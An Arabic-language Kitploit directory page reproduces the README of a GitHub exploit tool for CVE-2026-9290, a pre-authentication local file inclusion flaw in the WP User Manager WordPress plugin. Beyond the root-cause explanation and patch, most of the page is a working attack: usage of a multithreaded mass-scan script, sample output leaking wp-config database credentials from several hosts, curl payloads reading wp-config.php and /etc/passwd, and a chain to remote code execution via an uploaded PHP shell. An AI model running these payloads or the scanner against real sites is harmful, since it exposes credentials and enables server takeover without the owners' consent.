Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-9290 — تضمين ملفات محلي قبل المصادقة في WP User Manager <= 2.9.17 عبر اجتياز المسار في معامل tab (CVSS 7.5) | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-9290
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubshinthink/cve-2026-9290

CVE-2026-9290

تضمين ملفات محلي قبل المصادقة في WP User Manager <= 2.9.17 عبر اجتياز المسار في معامل tab (CVSS 7.5)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9290 — استغلال WP User Manager من LFI إلى RCE

اجتياز المسار قبل المصادقة عبر معامل 'tab' → تضمين الملفات المحلية


نظرة عامة

CVE-2026-9290 هي ثغرة تضمين ملفات محلية غير مصادقة عالية الخطورة (CVSS 7.5) في إضافة ووردبريس WP User Manager – User Profile Builder & Membership (≤ 2.9.17).

تمرر الدالة wpum_get_active_profile_tab() معامل الاستعلام tab مباشرة إلى محمّل قوالب Gamajo دون التحقق من القائمة البيضاء. تسمح تسلسلات اجتياز المسار في قيمة tab للمهاجمين غير المصادَق عليهم بتضمين ملفات عشوائية من الخادم عبر include() في PHP.

النسخ المتأثرة

إصدار WP User Managerالحالة
≤ 2.9.17قابلة للاستغلال
≥ 2.9.18تم التصحيح

آلية الثغرة

السبب الجذري

في includes/functions.php، تأخذ الدالة wpum_get_active_profile_tab() معامل الاستعلام tab دون التحقق من القائمة البيضاء:

root@kitploit:~
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

تُمرَّر القيمة إلى Gamajo_Template_Loader::get_template_part() الذي يحلّ ملف القالب ويضمّنه:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field() لا يزيل تسلسلات اجتياز المسار. فتمرر ../../../wp-config كما هي.

تدفق الهجوم

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

الملفات الرئيسية

التصحيح (2.9.18)

أضاف الطلب #445 التحقق من القائمة البيضاء:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

الاستخدام

root@kitploit:~
# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

الوسائط

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --read PATH       Read a specific file via LFI
  -o, --output      Save results to file
  --threads         Workers (default: 25)
  -v, --verbose     Show detailed output

إثبات المفهوم

الاكتشاف و LFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

الفحص الجماعي

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

الاستغلال اليدوي

الخطوة 1 — اكتشاف WP User Manager

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

الخطوة 2 — العثور على صفحة الملف الشخصي

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

الخطوة 3 — LFI عبر معامل tab

root@kitploit:~
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

سلسلة RCE

root@kitploit:~
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE

إخلاء المسؤولية

لأغراض التعليم والاختبار المصرّح به فقط.

هذا البرنامج مخصص للمتخصصين في الأمن الذين يجرون اختبارات اختراق مصرّحًا بها، والمؤسسات التي تدقق بنيتها التحتية الخاصة، والباحثين الذين يدرسون استغلال الثغرات.

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وقد ينتهك:

  • الولايات المتحدة: قانون الاحتيال وإساءة استخدام الكمبيوتر (18 U.S.C. 1030)
  • إندونيسيا: UU ITE Pasal 30 & 46
  • الاتحاد الأوروبي: التوجيه 2013/40/EU
  • المملكة المتحدة: قانون إساءة استخدام الكمبيوتر لعام 1990

لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع

المورد

هذا المشروع غير تابع لـ WP User Manager أو Carbon Fields.

تنزيل الأداة
الملفالسطرالدور
includes/functions.php#L955wpum_get_active_profile_tab() — بدون قائمة بيضاء
templates/profile.php#L52نطاق قالب الملف الشخصي
class-gamajo-template-loader.php#L226استدعاء include() غير منقّى
الرابط
استشارة GitHubGHSA-83v9-496w-54wx
استشارة Wordfencewordfence.com
طلب التصحيحGitHub #445
تحليل IONIXionix.io